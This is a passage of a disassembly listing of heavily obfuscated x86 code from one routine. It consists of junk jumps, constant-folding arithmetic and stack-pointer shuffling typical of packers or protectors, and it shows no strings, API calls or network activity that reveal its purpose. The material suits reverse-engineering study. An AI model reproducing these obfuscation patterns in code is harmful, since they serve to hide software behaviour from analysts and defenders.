		xor	dh, 29h
		push	ebx
		mov	bh, 0CBh
		push	edx
		jmp	loc_5AA289
; ---------------------------------------------------------------------------


loc_59CDCC:				; CODE XREF: sub_58A891+12494j
		pop	eax
		xchg	ebp, [esp+9Eh+var_9E]
		pop	esp
		jmp	loc_5A0F2A
; ---------------------------------------------------------------------------


loc_59CDD6:				; CODE XREF: sub_58A891+1711Dj
		pop	cx
		shl	bl, 7
		jmp	loc_5B2B28
; ---------------------------------------------------------------------------


loc_59CDE0:				; CODE XREF: sub_58A891+1EFB1j
		pop	esi
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+98h+var_98], eax
		sub	esp, 4
		mov	[esp+9Ch+var_9E+2], edx
		jmp	loc_5B1246
; ---------------------------------------------------------------------------


loc_59CDFA:				; CODE XREF: sub_58A891+20C02j
		mov	eax, [esp+9Ch+var_9E+2]
		add	esp, 4
		add	[esp+98h+var_94], edi
		pop	edi
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 2
		jmp	loc_5ACBCF
; ---------------------------------------------------------------------------


loc_59CE1A:				; CODE XREF: sub_58A891+19A66j
		xor	ecx, [esp+94h+var_94]
		jmp	loc_5B1879
; ---------------------------------------------------------------------------


loc_59CE22:				; CODE XREF: sub_58A891+1C42Fj
		not	edx
		jmp	loc_5ABBDB
; ---------------------------------------------------------------------------


loc_59CE29:				; CODE XREF: sub_58A891+22FDBj
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		pop	esi
		push	eax
		push	[esp+90h+var_8C]
		push	[esp+94h+var_94]
		mov	eax, [esp+98h+var_98]
		add	esp, 4
		add	esp, 4
		pop	[esp+90h+var_90]
		mov	esp, [esp+8Ch+var_8C]
		movsx	ecx, ax
		push	30FAh
		mov	[esp+90h+var_90], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59CE5D:				; CODE XREF: sub_58A891+1E8FFj
		mov	edi, [esp+90h+var_90]
		push	ecx
		push	esp
		jmp	loc_5A671A
; ---------------------------------------------------------------------------


loc_59CE67:				; CODE XREF: sub_58A891+1D8AEj
		push	ebx
		jmp	loc_5A6779
; ---------------------------------------------------------------------------


loc_59CE6D:				; CODE XREF: sub_58A891+19FDBj
					; sub_58A891+1D8F2j
		mov	ecx, ebp
		push	[esp+9Ch+var_9E+2]
		pop	ebp
		add	esp, 4
		jmp	loc_59E972
; ---------------------------------------------------------------------------


loc_59CE7E:				; CODE XREF: sub_58A891+1C266j
		xchg	edi, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], ebp
		jmp	loc_5A62EE
; ---------------------------------------------------------------------------


loc_59CE8A:				; CODE XREF: sub_58A891+1CFBBj
		sub	esp, 4
		push	esp
		jmp	loc_5B12BD
; ---------------------------------------------------------------------------


loc_59CE93:				; CODE XREF: sub_58A891+12F41j
					; sub_58A891+18FE3j
		push	[esp+9Ch+var_98]
		pop	ebx
		pop	[esp+9Ch+var_9E+2]
		push	ebx
		push	esi
		pop	ebx
		pop	esi
		push	esi
		xchg	edx, [esp+9Ch+var_9E+2]
		not	edx
		xchg	edx, [esp+9Ch+var_9E+2]
		pop	esi
		jmp	loc_5A639C
; ---------------------------------------------------------------------------


loc_59CEAE:				; CODE XREF: sub_58A891+25922j
		push	esi
		mov	esi, 276B3EE7h
		add	esi, 0D894C11Dh
		add	ebp, esi
		pop	esi
		jmp	loc_5AD4AF
; ---------------------------------------------------------------------------


loc_59CEC2:				; CODE XREF: sub_58A891+22BCFj
		inc	dh
		xor	dh, 70h
		sub	bh, dh
		pop	edx
		add	bh, cl
		jmp	loc_5AB917
; ---------------------------------------------------------------------------


loc_59CED1:				; CODE XREF: sub_58A891+26ACEj
		mov	ch, 9Bh
		sub	al, 69h
		add	al, ch
		add	al, 69h
		pop	cx
		sub	al, bl
		push	edx
		mov	dl, 8Eh
		sub	dl, 0C8h
		jmp	loc_5ABAD5
; ---------------------------------------------------------------------------


loc_59CEE8:				; CODE XREF: sub_58A891+12075j
		and	eax, edi
		mov	edi, [esp+0AAh+var_AA]
		jmp	loc_59E5F1
; ---------------------------------------------------------------------------


loc_59CEF2:				; CODE XREF: sub_58A891+189F6j
		xor	edi, 397C2556h
		jmp	loc_5B0460
; ---------------------------------------------------------------------------


loc_59CEFD:				; CODE XREF: sub_58A891+283DAj
		or	eax, 3792413h
		add	eax, 1C997D3Ch
		jmp	loc_5A883C
; ---------------------------------------------------------------------------


loc_59CF0C:				; CODE XREF: sub_58A891+14553j
		pop	ecx
		shl	al, 2
		shl	al, 1
		or	al, 74h
		jmp	loc_5AEF32
; ---------------------------------------------------------------------------


loc_59CF19:				; CODE XREF: sub_58A891+25779j
		push	ecx
		push	[esp+0AAh+var_A6]
		pop	ecx
		pop	[esp+0AAh+var_AA]
		pop	esp
		jmp	loc_5A9937
; ---------------------------------------------------------------------------


loc_59CF28:				; CODE XREF: sub_58A891+23A47j
		xor	bl, al
		movzx	eax, al
		jmp	loc_59E400
; ---------------------------------------------------------------------------


loc_59CF32:				; CODE XREF: sub_58A891+186E2j
		mov	ebp, [esp+0A2h+var_A2]
		add	esp, 4
		push	edi
		jmp	loc_5AD173
; ---------------------------------------------------------------------------


loc_59CF3E:				; CODE XREF: sub_58A891+25B66j
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	11D1h
		mov	[esp+0A2h+var_A2], edx
		mov	edx, 586811C7h
		jmp	loc_5AF6AF
; ---------------------------------------------------------------------------


loc_59CF5A:				; CODE XREF: sub_58A891+24EB9j
		push	3043h
		jmp	loc_59D862
; ---------------------------------------------------------------------------


loc_59CF64:				; CODE XREF: sub_58A891+27BAEj
		pop	esp
		mov	[esp+0A2h+var_A2], ebp
		push	esp
		jmp	loc_5A7E66
; ---------------------------------------------------------------------------


loc_59CF6E:				; CODE XREF: sub_58A891+19BE7j
		add	ebx, 7221442h
		add	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A114C
; ---------------------------------------------------------------------------


loc_59CF7F:				; CODE XREF: sub_58A891+13ED1j
		mov	ecx, 1F6D7D8Ah
		sub	edi, ecx
		pop	ecx
		add	ebp, 4094758Ch
		add	ebp, edi
		jmp	loc_5A4AE0
; ---------------------------------------------------------------------------


loc_59CF94:				; CODE XREF: sub_58A891+209A8j
		add	al, 0D9h
		mov	ebx, [esp+0]
		jmp	loc_5B23BE
; ---------------------------------------------------------------------------


loc_59CF9E:				; CODE XREF: sub_58A891+145F7j
		mov	edx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		sub	esp, 4
		jmp	loc_5A1694
; ---------------------------------------------------------------------------


loc_59CFB3:				; CODE XREF: sub_58A891+155CBj
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp+0A2h+var_A2]
		jmp	loc_59F72C
; ---------------------------------------------------------------------------


loc_59CFBF:				; CODE XREF: sub_58A891+1A02Ej
		mov	ebp, [esp+0A2h+var_A2]
		jmp	loc_59C050
; ---------------------------------------------------------------------------


loc_59CFC7:				; CODE XREF: sub_58A891+229FAj
		sub	bl, ah
		jmp	loc_5AEA86
; ---------------------------------------------------------------------------


loc_59CFCE:				; CODE XREF: sub_58A891+1F562j
		add	esp, 4
		xchg	edx, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		xchg	eax, edx
		push	ebx
		jmp	loc_5A7F78
; ---------------------------------------------------------------------------


loc_59CFDE:				; CODE XREF: sub_58A891+1C6DBj
		xor	esi, 30C2D461h
		mov	ecx, esi
		pop	esi
		add	ecx, 5C2213BDh
		jmp	loc_59C5C3
; ---------------------------------------------------------------------------


loc_59CFF2:				; CODE XREF: sub_58A891+2365Aj
		shr	edi, 7
		add	edi, 0C78710Fh
		and	edi, 72D90D60h
		jmp	loc_5A0F4B
; ---------------------------------------------------------------------------


loc_59D006:				; CODE XREF: sub_58A891+2421Ej
		mov	ecx, 16BE47EFh
		push	esi
		jmp	loc_5A4D36
; ---------------------------------------------------------------------------


loc_59D011:				; CODE XREF: sub_58A891+1F1E2j
		push	edx
		mov	edx, 0E532F3Fh
		and	edx, 52E70193h
		and	edx, 4BF83BC7h
		sub	edx, 79CF3E3Dh
		add	edx, 88C1585h
		add	ebp, edx
		pop	edx
		sub	ebx, ebp
		mov	ebp, [esp+0A2h+var_A2]
		add	esp, 4
		mov	edi, ebx
		pop	ebx
		sub	edx, edi
		pop	edi
		sub	edx, 18CE0AB7h
		add	edx, eax
		add	edx, 18CE0AB7h
		add	edx, 33672D73h
		push	ebx
		jmp	loc_5A5B85
; ---------------------------------------------------------------------------


loc_59D05A:				; CODE XREF: sub_58A891+19041j
		jp	loc_5AA46A
		add	eax, 0BF9FCE04h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx


loc_59D06A:				; CODE XREF: sub_58A891+27616j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+9Eh+var_9E]
		pop	esp
		jmp	loc_5B1E8B
; ---------------------------------------------------------------------------


loc_59D07E:				; CODE XREF: sub_58A891+212BFj
		sub	esp, 4
		jmp	loc_5A4B8F
; ---------------------------------------------------------------------------


loc_59D086:				; CODE XREF: sub_58A891+26A7Fj
		add	edi, 4
		xchg	edi, [esp+9Eh+var_9E]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	edx
		jmp	loc_5A90F8
; ---------------------------------------------------------------------------


loc_59D098:				; CODE XREF: sub_58A891+241F9j
		add	esp, 2
		add	bl, al
		jmp	loc_5AABA5
; ---------------------------------------------------------------------------


loc_59D0A2:				; CODE XREF: sub_58A891+1EF46j
		xor	eax, [esp+0]
		pop	esp
		mov	[esp+96h+var_98+2], edx
		push	80000h
		jmp	loc_5A647D
; ---------------------------------------------------------------------------


loc_59D0B3:				; CODE XREF: sub_58A891+13A63j
		shl	ebx, 1
		sub	ebx, 7D806092h
		jnz	loc_5AE2DD
		not	ebx
		not	ebx
		shl	ebx, 6
		xor	al, 7Dh
		mov	cl, dl


loc_59D0CC:				; CODE XREF: sub_58A891+13AB9j
		xchg	edx, [esp+0]
		pop	esp
		push	74E2h
		mov	[esp+0], ebx
		mov	ebx, 1B5E3777h
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebx, edi
		pop	edi
		shr	ebx, 2
		shl	ebx, 2
		push	ecx
		mov	ecx, 1B5E3770h
		xor	ebx, ecx
		pop	ecx
		add	edi, ebx
		jmp	loc_5A9D46
; ---------------------------------------------------------------------------


loc_59D0FC:				; CODE XREF: sub_58A891+1BB8Fj
		xor	edx, eax
		jmp	loc_5B1F44
; ---------------------------------------------------------------------------


loc_59D103:				; CODE XREF: sub_58A891+14086j
		push	[esp+9Ah+var_98+2]
		mov	edx, [esp+9Eh+var_9E]
		add	esp, 4
		jmp	loc_5A2E3A
; ---------------------------------------------------------------------------


loc_59D112:				; CODE XREF: sub_58A891+18779j
		xor	edi, ebx
		pop	ebx
		push	[esp+96h+var_98+2]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 605B1E41h
		dec	edx
		and	edx, 16E3086Fh
		xor	edx, offset loc_430844
		jmp	loc_5A9CC4
; ---------------------------------------------------------------------------


loc_59D13A:				; CODE XREF: sub_58A891+25228j
		push	edx
		jmp	loc_5A50A1
; ---------------------------------------------------------------------------


loc_59D140:				; CODE XREF: sub_58A891+206D8j
		shr	edi, 3
		jp	loc_59F384
		or	edi, 17FC4020h
		jmp	loc_5A0BFA
; ---------------------------------------------------------------------------
		mov	ch, bh


loc_59D156:				; CODE XREF: sub_58A891+1F103j
		sub	ebp, 675100FAh
		pop	edi
		xchg	ebp, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		mov	[esp+9Eh+var_9E], ebp
		push	20000h
		mov	ebp, [esp+0A2h+var_A2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 2CA44E24h
		jmp	loc_59CA95
; ---------------------------------------------------------------------------


loc_59D182:				; CODE XREF: sub_58A891+1EE47j
		add	ecx, 2DBE2587h
		pop	esi
		push	ecx
		jmp	loc_5A2273
; ---------------------------------------------------------------------------


loc_59D18F:				; CODE XREF: sub_58A891+25EF1j
		xor	ecx, 62BC2E0Ch
		add	ecx, 0DCB51452h
		add	edx, 4C3C55E8h
		sub	edx, ecx
		sub	edx, 4C3C55E8h
		pop	ecx
		jmp	loc_5B09DF
; ---------------------------------------------------------------------------


loc_59D1AF:				; CODE XREF: sub_58A891+16444j
		add	esp, 4
		pop	[esp+0A2h+var_A2]
		mov	esp, [esp+9Eh+var_9E]
		btc	word ptr [esp+9Eh+var_9E], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59D1C6:				; CODE XREF: sub_58A891+22C27j
		pop	esp
		add	[esp+4], ebx
		push	[esp+9Eh+var_9E]
		pop	ebx
		push	edx
		jmp	loc_59EB32
; ---------------------------------------------------------------------------


loc_59D1D5:				; CODE XREF: sub_58A891+1B0F4j
		pop	eax
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		mov	[esp+9Eh+var_9E], edi
		jmp	loc_5AA2A4
; ---------------------------------------------------------------------------


loc_59D1ED:				; CODE XREF: sub_58A891+14797j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 1
		add	ebx, 0B6887C62h
		jmp	loc_5ACB78
; ---------------------------------------------------------------------------


loc_59D201:				; CODE XREF: sub_58A891+18EFBj
		mov	edi, esp
		push	ebx
		mov	ebx, 49C948C1h
		inc	ebx
		xor	ebx, 49C948C6h
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5B0774
; ---------------------------------------------------------------------------


loc_59D221:				; CODE XREF: sub_58A891+1A224j
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		xchg	eax, esi
		xor	esi, 0B6ABEED5h
		mov	edi, esi
		jmp	loc_5AF4B2
; ---------------------------------------------------------------------------


loc_59D233:				; CODE XREF: sub_58A891+24D2Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		jmp	loc_5A46B7
; ---------------------------------------------------------------------------


loc_59D24D:				; CODE XREF: sub_58A891+21897j
		pop	edx
		add	eax, ebx
		jmp	loc_5AD516
; ---------------------------------------------------------------------------


loc_59D255:				; CODE XREF: sub_58A891+1F22Aj
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4E456F28h
		inc	ebx
		add	ebx, 0B1BA90DBh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+96h+var_98+2], edx
		push	eax
		jmp	loc_5A600B
; ---------------------------------------------------------------------------


loc_59D27A:				; CODE XREF: sub_58A891+119DDj
		push	eax
		jmp	loc_5A9585
; ---------------------------------------------------------------------------


loc_59D280:				; CODE XREF: sub_58A891+20771j
		and	eax, ebp
		mov	ebp, [esp+1Eh+var_20+2]
		jmp	loc_5B12EB
; ---------------------------------------------------------------------------


loc_59D28A:				; CODE XREF: sub_58A891+1B775j
		pop	esi
		xor	ebx, esi
		push	[esp+1Ah+var_1C+2]
		pop	esi
		add	esp, 4
		shl	ebx, 4
		add	ebx, 6236F0Dh
		push	edx
		jmp	loc_5AE66A
; ---------------------------------------------------------------------------


loc_59D2A3:				; CODE XREF: sub_58A891+15FCDj
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AC509
; ---------------------------------------------------------------------------
		push	0C2Ah
		mov	[esp+16h+var_18+2], ebx
		push	7D59h
		mov	[esp+1Ah+var_1C+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A109B
; ---------------------------------------------------------------------------


loc_59D2D6:				; CODE XREF: sub_58A891+1D3C5j
		neg	eax
		jmp	loc_59C6B0
; ---------------------------------------------------------------------------


loc_59D2DD:				; CODE XREF: sub_58A891+1AA25j
		mov	eax, 6046681h
		sub	esi, eax
		mov	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5AB431
; ---------------------------------------------------------------------------
		push	[esp+1Ah+var_1C+2]
		push	[esp+1Eh+var_20+2]
		pop	eax
		push	228Dh
		mov	[esp+22h+var_24+2], edx
		jmp	loc_5AB42A
; ---------------------------------------------------------------------------


loc_59D300:				; CODE XREF: sub_58A891+25C8Ej
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_5A6BCE
; ---------------------------------------------------------------------------


loc_59D30E:				; CODE XREF: sub_58A891+253D0j
		pop	ebx
		mov	edi, ebp
		jmp	loc_5B2462
; ---------------------------------------------------------------------------


loc_59D316:				; CODE XREF: sub_58A891+12DB3j
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		jmp	loc_59C975
; ---------------------------------------------------------------------------


loc_59D31F:				; CODE XREF: sub_58A891+12E8Ej
		mov	edx, ebx
		pop	ebx
		jmp	loc_59EA9A
; ---------------------------------------------------------------------------


loc_59D327:				; CODE XREF: sub_58A891+1D8BFj
		add	edi, ecx
		jmp	loc_5A8D5C
; ---------------------------------------------------------------------------


loc_59D32E:				; CODE XREF: sub_58A891+2525Dj
		pop	esp
		push	622Dh
		jmp	loc_5ABC0A
; ---------------------------------------------------------------------------


loc_59D339:				; CODE XREF: sub_58A891+15D3Fj
		add	esp, 4
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4


loc_59D342:				; CODE XREF: sub_58A891+23094j
					; sub_58A891+24563j
		mov	ebx, [esp+0Eh+var_10+2]
		sub	esp, 4
		mov	[esp+12h+var_14+2], edx
		mov	edx, esp
		push	1241h
		jmp	loc_5AF020
; ---------------------------------------------------------------------------


loc_59D357:				; CODE XREF: sub_58A891+196F1j
					; sub_58A891+1D662j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], ebx
		push	[esp+12h+var_14+2]
		push	[esp+16h+var_18+2]
		push	[esp+1Ah+var_1C+2]
		pop	eax
		push	60A9h
		jmp	loc_5A571C
; ---------------------------------------------------------------------------


loc_59D37E:				; CODE XREF: sub_58A891+1D641j
		mov	[esp+1Eh+var_20+2], edx
		push	eax
		mov	ah, 5
		add	ah, 6Dh
		push	ecx
		mov	ch, 2Eh
		jmp	loc_5AF4F8
; ---------------------------------------------------------------------------


loc_59D38F:				; CODE XREF: sub_58A891+27F43j
		or	ecx, ebx
		pop	ebx
		jmp	loc_5A3C3D
; ---------------------------------------------------------------------------


loc_59D397:				; CODE XREF: sub_58A891+25869j
		push	edi
		mov	edi, 0DF54416Eh
		jmp	loc_5A2135
; ---------------------------------------------------------------------------


loc_59D3A2:				; CODE XREF: sub_58A891+1F0B3j
		add	edi, 34301994h
		jmp	loc_5AD050
; ---------------------------------------------------------------------------


loc_59D3AD:				; CODE XREF: sub_58A891+164DDj
		not	ebp
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		not	ebp
		add	ebp, 770120ACh
		xor	esi, ebp
		pop	ebp
		jmp	loc_5A5EAC
; ---------------------------------------------------------------------------


loc_59D3C5:				; CODE XREF: sub_58A891+16F0Aj
		inc	edx
		jmp	loc_5A7865
; ---------------------------------------------------------------------------


loc_59D3CB:				; CODE XREF: sub_58A891+16588j
					; sub_58A891+209DCj
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_5A48B5
; ---------------------------------------------------------------------------


loc_59D3D6:				; CODE XREF: sub_58A891+1DF34j
		add	ebx, 64354Dh
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+1Ah+var_1C+2]
		jmp	loc_5AC5AE
; ---------------------------------------------------------------------------


loc_59D3E8:				; CODE XREF: sub_58A891+23E44j
					; sub_58A891+252E2j
		mov	ecx, [esp+1Ah+var_1C+2]
		push	1B96h
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_5AD0A0
; ---------------------------------------------------------------------------


loc_59D40C:				; CODE XREF: sub_58A891+13F93j
		mov	esi, 0C2E72A5h
		shr	esi, 5
		and	esi, 2C9478C0h
		jmp	loc_5A77C0
; ---------------------------------------------------------------------------


loc_59D41F:				; CODE XREF: sub_58A891+25B86j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+22h+var_24+2]
		pop	esp


loc_59D432:				; CODE XREF: sub_58A891+134D6j
					; sub_58A891+28685j
		push	ebx
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5B0C4A
; ---------------------------------------------------------------------------


loc_59D443:				; CODE XREF: sub_58A891+146E6j
		xor	edx, ecx
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		mov	eax, edx
		jmp	loc_5A9214
; ---------------------------------------------------------------------------


loc_59D452:				; CODE XREF: sub_58A891+15CB4j
		add	eax, ebx
		pop	ebx
		jmp	loc_59C18B
; ---------------------------------------------------------------------------


loc_59D45A:				; CODE XREF: sub_58A891+1AB7Dj
		add	edx, 4
		xchg	edx, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		sub	eax, 1304919h
		add	eax, edi
		add	eax, 1304919h
		push	dword ptr [eax]
		jmp	loc_5AA209
; ---------------------------------------------------------------------------


loc_59D479:				; CODE XREF: sub_58A891+204D0j
		add	ecx, 4FD31541h
		jmp	loc_5B2F49
; ---------------------------------------------------------------------------


loc_59D484:				; CODE XREF: sub_58A891+1689Cj
		xor	esi, 19885E12h
		xor	ebx, esi
		mov	esi, [esp+26h+var_28+2]
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		push	ebx
		jmp	loc_5ACD8D
; ---------------------------------------------------------------------------


loc_59D4A3:				; CODE XREF: sub_58A891+18880j
		mov	[esp+22h+var_24+2], ebx
		push	[esp+22h+var_20+2]
		mov	ebx, [esp+26h+var_28+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_24+2]
		jmp	loc_5ACF40
; ---------------------------------------------------------------------------


loc_59D4C8:				; CODE XREF: sub_58A891:loc_5A15A1j
		sub	edi, 18097730h
		add	edi, 0B309CD10h
		push	edi
		jmp	loc_5AE222
; ---------------------------------------------------------------------------


loc_59D4DA:				; CODE XREF: sub_58A891+1FB34j
		jnp	loc_5A6175
		push	edx
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], eax
		mov	ah, 65h
		mov	dh, ah
		pop	eax
		add	cl, dh
		jmp	loc_5AB231
; ---------------------------------------------------------------------------


loc_59D4F3:				; CODE XREF: sub_58A891+17B4Dj
		mov	word ptr [esp+2Ah+var_2C+2], ax
		push	edx
		jmp	loc_5AFDF5
; ---------------------------------------------------------------------------


loc_59D4FD:				; CODE XREF: sub_58A891+17721j
		pop	ebx
		inc	eax
		shl	eax, 3
		jmp	loc_5A133A
; ---------------------------------------------------------------------------


loc_59D507:				; CODE XREF: sub_58A891+1FCE5j
		push	ebp
		mov	ebp, esp
		jmp	loc_5A6A50
; ---------------------------------------------------------------------------


loc_59D50F:				; CODE XREF: sub_58A891+1C2A9j
		pop	ecx
		jmp	loc_5A9CEE
; ---------------------------------------------------------------------------


loc_59D515:				; CODE XREF: sub_58A891+25FD3j
		push	edi
		push	4
		pop	edi
		jmp	loc_5B1624
; ---------------------------------------------------------------------------


loc_59D521:				; CODE XREF: sub_58A891+1D4D3j
		pop	ebx
		pop	[esp+2Ah+var_2C+2]
		jmp	loc_5A91EF
; ---------------------------------------------------------------------------


loc_59D52A:				; CODE XREF: sub_58A891+17273j
		push	ecx
		mov	ecx, 5AEB1909h
		jmp	loc_5AA14A
; ---------------------------------------------------------------------------


loc_59D535:				; CODE XREF: sub_58A891+191BCj
		jmp	loc_5AA2D5
; ---------------------------------------------------------------------------


loc_59D53A:				; CODE XREF: sub_58A891+1BF7Cj
		push	esp
		jmp	loc_5A0EAA
; ---------------------------------------------------------------------------


loc_59D540:				; CODE XREF: sub_58A891+18D45j
		mov	ecx, 2
		sub	ebp, 6D304411h
		add	ebp, ecx
		add	ebp, 6D304411h
		mov	ecx, [esp+2Eh+var_30+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_34+2]
		pop	esp
		jmp	loc_59DBC9
; ---------------------------------------------------------------------------


loc_59D56C:				; CODE XREF: sub_58A891+2407Bj
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_5ACD97
; ---------------------------------------------------------------------------


loc_59D577:				; CODE XREF: sub_58A891+2588Ej
		add	esp, 4
		push	eax
		push	edx
		jmp	loc_5AAD66
; ---------------------------------------------------------------------------


loc_59D584:				; CODE XREF: sub_58A891+1610Cj
		mov	esi, eax
		pop	eax
		jmp	loc_5AB7E1
; ---------------------------------------------------------------------------


loc_59D58C:				; CODE XREF: sub_58A891+20430j
		xor	[esp+2Ah+var_2C+2], 676923F4h
		pop	edx
		push	esi
		mov	esi, 49087BD1h
		shl	esi, 7
		add	esi, 0E32B3B74h
		xor	edx, esi
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_5AA0BC
; ---------------------------------------------------------------------------


loc_59D5B3:				; CODE XREF: sub_58A891+11900j
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		sub	esp, 4
		jmp	loc_5ACD2D
; ---------------------------------------------------------------------------


loc_59D5C8:				; CODE XREF: sub_58A891+19D0Cj
		push	[esp+22h+var_24+2]
		jmp	loc_5A8B38
; ---------------------------------------------------------------------------


loc_59D5D0:				; CODE XREF: sub_58A891+1E91Aj
		mov	ecx, ebx
		pop	ebx
		or	ecx, 7CD95AF6h
		sub	ecx, 336EF3EDh
		jmp	loc_5B11E5
; ---------------------------------------------------------------------------


loc_59D5E4:				; CODE XREF: sub_58A891+285E2j
		sub	edx, ecx
		add	edx, 4754E29h
		push	ecx
		jmp	loc_5AF924
; ---------------------------------------------------------------------------


loc_59D5F2:				; CODE XREF: sub_58A891+2129Bj
		add	edi, esi
		jmp	loc_5B02A1
; ---------------------------------------------------------------------------


loc_59D5F9:				; CODE XREF: sub_58A891+1CAE0j
		mov	bx, word ptr [esp+26h+var_28+2]
		push	esi
		mov	esi, esp
		jmp	loc_5AEAF3
; ---------------------------------------------------------------------------


loc_59D605:				; CODE XREF: sub_58A891:loc_5B1D05j
		add	ebx, 0E64BF044h
		mov	ebp, ebx
		push	[esp+2Ah+var_2C+2]
		pop	ebx
		jmp	loc_5A1F44
; ---------------------------------------------------------------------------


loc_59D616:				; CODE XREF: sub_58A891+2282Ej
		jmp	loc_5B15CF
; ---------------------------------------------------------------------------


loc_59D61B:				; CODE XREF: sub_58A891+12DFAj
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_5A506F
; ---------------------------------------------------------------------------


loc_59D62B:				; CODE XREF: sub_58A891+1C09Cj
		push	eax
		push	7BC56FC6h
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		xor	eax, 73987AD0h
		jb	loc_5A418D
		not	eax
		jmp	loc_59D316
; ---------------------------------------------------------------------------


loc_59D649:				; CODE XREF: sub_58A891+27692j
		sub	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		push	[esp+22h+var_20+2]
		pop	ebp
		pop	[esp+22h+var_24+2]
		mov	esp, [esp+1Eh+var_20+2]
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		mov	ebp, esp
		push	0AC6h
		mov	[esp+26h+var_28+2], eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_59D61B
; ---------------------------------------------------------------------------


loc_59D690:				; CODE XREF: sub_58A891+20CF7j
		sub	edi, 6C936EE0h
		jo	loc_59F93B
		push	esi
		mov	esi, 1F4A627Eh
		xor	esi, 8665EC09h
		jmp	loc_5A4194
; ---------------------------------------------------------------------------


loc_59D6AD:				; CODE XREF: sub_58A891+16D7Fj
					; sub_58A891+1BF86j
		add	ecx, 0FBF69DD4h
		add	edx, 1D6139CDh
		add	edx, ecx
		jmp	loc_5B0F33
; ---------------------------------------------------------------------------


loc_59D6C0:				; CODE XREF: sub_58A891+2608Ej
		mov	edx, 43A2551Eh
		xor	edx, 43A2551Ah
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebx
		jmp	loc_5AEFF2
; ---------------------------------------------------------------------------


loc_59D6E3:				; CODE XREF: sub_58A891+188F5j
		pop	esp
		xchg	edx, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_5A3F5F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Eh+var_20+2]
		push	328Dh
		mov	[esp+22h+var_24+2], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ACE0F
; ---------------------------------------------------------------------------


loc_59D706:				; CODE XREF: sub_58A891+1F7ADj
		mov	eax, esp
		jmp	loc_5B2582
; ---------------------------------------------------------------------------


loc_59D70D:				; CODE XREF: sub_58A891+1C67Bj
